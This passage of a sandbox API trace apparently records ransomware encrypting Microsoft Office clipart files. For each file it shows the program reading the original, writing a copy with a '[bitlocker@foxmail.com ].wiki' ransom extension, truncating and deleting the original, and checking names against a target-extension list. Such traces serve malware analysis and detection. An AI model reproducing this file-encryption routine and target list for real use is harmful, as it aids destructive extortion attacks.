(lpString1=".WMF", lpString2=".wiki") returned 1 [0065.342] lstrlenW (lpString="BL00152_.WMF") returned 12 [0065.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0065.342] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=1516) returned 1 [0065.342] CloseHandle (hObject=0x218) returned 1 [0065.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf")) returned 0x20 [0065.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0065.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0065.342] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.343] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0065.344] GetLastError () returned 0x0 [0065.344] ReadFile (in: hFile=0x218, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x5ec, lpOverlapped=0x0) returned 1 [0065.361] WriteFile (in: hFile=0x220, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x5f0, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x5f0, lpOverlapped=0x0) returned 1 [0065.375] ReadFile (in: hFile=0x218, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0065.376] WriteFile (in: hFile=0x220, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0065.378] SetEndOfFile (hFile=0x220) returned 1 [0065.380] CloseHandle (hObject=0x220) returned 1 [0065.384] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.384] SetEndOfFile (hFile=0x218) returned 1 [0065.403] CloseHandle (hObject=0x218) returned 1 [0065.405] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0065.405] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf")) returned 1 [0065.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0065.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0065.405] lstrlenW (lpString=".doc") returned 4 [0065.405] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0065.405] lstrlenW (lpString=".docx") returned 5 [0065.405] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0065.405] lstrlenW (lpString=".pdf") returned 4 [0065.405] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0065.405] lstrlenW (lpString=".xls") returned 4 [0065.405] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0065.405] lstrlenW (lpString=".xlsx") returned 5 [0065.405] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.405] lstrlenW (lpString=".ppt") returned 4 [0065.405] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0065.405] lstrlenW (lpString=".zip") returned 4 [0065.406] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.406] lstrlenW (lpString=".rar") returned 4 [0065.406] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0065.406] lstrlenW (lpString=".bz2") returned 4 [0065.406] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.406] lstrlenW (lpString=".7z") returned 3 [0065.406] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0065.406] lstrlenW (lpString=".dbf") returned 4 [0065.406] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0065.406] lstrlenW (lpString=".1cd") returned 4 [0065.406] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0065.406] lstrlenW (lpString=".jpg") returned 4 [0065.406] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0065.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0065.406] lstrlenW (lpString=".doc") returned 4 [0065.406] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0065.406] lstrlenW (lpString=".docx") returned 5 [0065.406] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0065.406] lstrlenW (lpString=".pdf") returned 4 [0065.406] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0065.406] lstrlenW (lpString=".xls") returned 4 [0065.406] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0065.406] lstrlenW (lpString=".xlsx") returned 5 [0065.406] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.406] lstrlenW (lpString=".ppt") returned 4 [0065.406] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0065.406] lstrlenW (lpString=".zip") returned 4 [0065.406] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.406] lstrlenW (lpString=".rar") returned 4 [0065.406] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0065.407] lstrlenW (lpString=".bz2") returned 4 [0065.407] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.407] lstrlenW (lpString=".7z") returned 3 [0065.407] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0065.407] lstrlenW (lpString=".dbf") returned 4 [0065.407] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0065.407] lstrlenW (lpString=".1cd") returned 4 [0065.407] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0065.407] lstrlenW (lpString=".jpg") returned 4 [0065.407] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.407] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0065.407] lstrlenW (lpString="BL00194_.WMF") returned 12 [0065.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0065.407] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=3986) returned 1 [0065.407] CloseHandle (hObject=0x218) returned 1 [0065.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf")) returned 0x20 [0065.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0065.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0065.408] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.408] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0065.408] GetLastError () returned 0x0 [0065.408] ReadFile (in: hFile=0x218, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0xf92, lpOverlapped=0x0) returned 1 [0065.431] WriteFile (in: hFile=0x220, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xfa0, lpOverlapped=0x0) returned 1 [0065.432] ReadFile (in: hFile=0x218, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0065.432] WriteFile (in: hFile=0x220, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0065.432] SetEndOfFile (hFile=0x220) returned 1 [0065.432] CloseHandle (hObject=0x220) returned 1 [0065.432] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.432] SetEndOfFile (hFile=0x218) returned 1 [0065.433] CloseHandle (hObject=0x218) returned 1 [0065.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0065.433] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf")) returned 1 [0065.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0065.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0065.433] lstrlenW (lpString=".doc") returned 4 [0065.433] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0065.433] lstrlenW (lpString=".docx") returned 5 [0065.434] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0065.434] lstrlenW (lpString=".pdf") returned 4 [0065.434] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0065.434] lstrlenW (lpString=".xls") returned 4 [0065.434] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0065.434] lstrlenW (lpString=".xlsx") returned 5 [0065.434] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.434] lstrlenW (lpString=".ppt") returned 4 [0065.434] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0065.434] lstrlenW (lpString=".zip") returned 4 [0065.434] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.434] lstrlenW (lpString=".rar") returned 4 [0065.434] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0065.434] lstrlenW (lpString=".bz2") returned 4 [0065.434] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.434] lstrlenW (lpString=".7z") returned 3 [0065.434] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0065.434] lstrlenW (lpString=".dbf") returned 4 [0065.434] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0065.434] lstrlenW (lpString=".1cd") returned 4 [0065.434] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0065.434] lstrlenW (lpString=".jpg") returned 4 [0065.434] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0065.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0065.434] lstrlenW (lpString=".doc") returned 4 [0065.434] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0065.434] lstrlenW (lpString=".docx") returned 5 [0065.434] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0065.434] lstrlenW (lpString=".pdf") returned 4 [0065.434] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0065.434] lstrlenW (lpString=".xls") returned 4 [0065.435] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0065.435] lstrlenW (lpString=".xlsx") returned 5 [0065.435] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.435] lstrlenW (lpString=".ppt") returned 4 [0065.435] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0065.435] lstrlenW (lpString=".zip") returned 4 [0065.435] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.435] lstrlenW (lpString=".rar") returned 4 [0065.435] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0065.435] lstrlenW (lpString=".bz2") returned 4 [0065.435] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.435] lstrlenW (lpString=".7z") returned 3 [0065.435] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0065.435] lstrlenW (lpString=".dbf") returned 4 [0065.435] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0065.435] lstrlenW (lpString=".1cd") returned 4 [0065.435] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0065.435] lstrlenW (lpString=".jpg") returned 4 [0065.435] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.435] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0065.435] lstrlenW (lpString="BL00195_.WMF") returned 12 [0065.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0065.437] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=8070) returned 1 [0065.437] CloseHandle (hObject=0x218) returned 1 [0065.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf")) returned 0x20 [0065.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0065.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0065.437] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.437] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0065.437] GetLastError () returned 0x0 [0065.437] ReadFile (in: hFile=0x218, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x1f86, lpOverlapped=0x0) returned 1 [0065.440] WriteFile (in: hFile=0x220, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x1f90, lpOverlapped=0x0) returned 1 [0065.441] ReadFile (in: hFile=0x218, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0065.441] WriteFile (in: hFile=0x220, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0065.441] SetEndOfFile (hFile=0x220) returned 1 [0065.441] CloseHandle (hObject=0x220) returned 1 [0065.441] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.441] SetEndOfFile (hFile=0x218) returned 1 [0065.442] CloseHandle (hObject=0x218) returned 1 [0065.442] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0065.442] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf")) returned 1 [0065.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0065.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0065.442] lstrlenW (lpString=".doc") returned 4 [0065.442] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0065.442] lstrlenW (lpString=".docx") returned 5 [0065.442] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0065.442] lstrlenW (lpString=".pdf") returned 4 [0065.443] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0065.443] lstrlenW (lpString=".xls") returned 4 [0065.443] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0065.443] lstrlenW (lpString=".xlsx") returned 5 [0065.443] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.443] lstrlenW (lpString=".ppt") returned 4 [0065.443] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0065.443] lstrlenW (lpString=".zip") returned 4 [0065.443] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.443] lstrlenW (lpString=".rar") returned 4 [0065.443] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0065.443] lstrlenW (lpString=".bz2") returned 4 [0065.443] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.443] lstrlenW (lpString=".7z") returned 3 [0065.443] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0065.443] lstrlenW (lpString=".dbf") returned 4 [0065.443] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0065.443] lstrlenW (lpString=".1cd") returned 4 [0065.443] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0065.443] lstrlenW (lpString=".jpg") returned 4 [0065.443] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0065.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0065.443] lstrlenW (lpString=".doc") returned 4 [0065.443] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0065.443] lstrlenW (lpString=".docx") returned 5 [0065.443] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0065.443] lstrlenW (lpString=".pdf") returned 4 [0065.443] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0065.443] lstrlenW (lpString=".xls") returned 4 [0065.444] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0065.444] lstrlenW (lpString=".xlsx") returned 5 [0065.444] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.444] lstrlenW (lpString=".ppt") returned 4 [0065.444] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0065.444] lstrlenW (lpString=".zip") returned 4 [0065.444] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.444] lstrlenW (lpString=".rar") returned 4 [0065.444] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0065.444] lstrlenW (lpString=".bz2") returned 4 [0065.444] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.444] lstrlenW (lpString=".7z") returned 3 [0065.444] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0065.444] lstrlenW (lpString=".dbf") returned 4 [0065.444] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0065.444] lstrlenW (lpString=".1cd") returned 4 [0065.444] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0065.444] lstrlenW (lpString=".jpg") returned 4 [0065.444] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.444] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0065.444] lstrlenW (lpString="BL00234_.WMF") returned 12 [0065.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0065.445] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=9304) returned 1 [0065.445] CloseHandle (hObject=0x218) returned 1 [0065.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf")) returned 0x20 [0065.445] 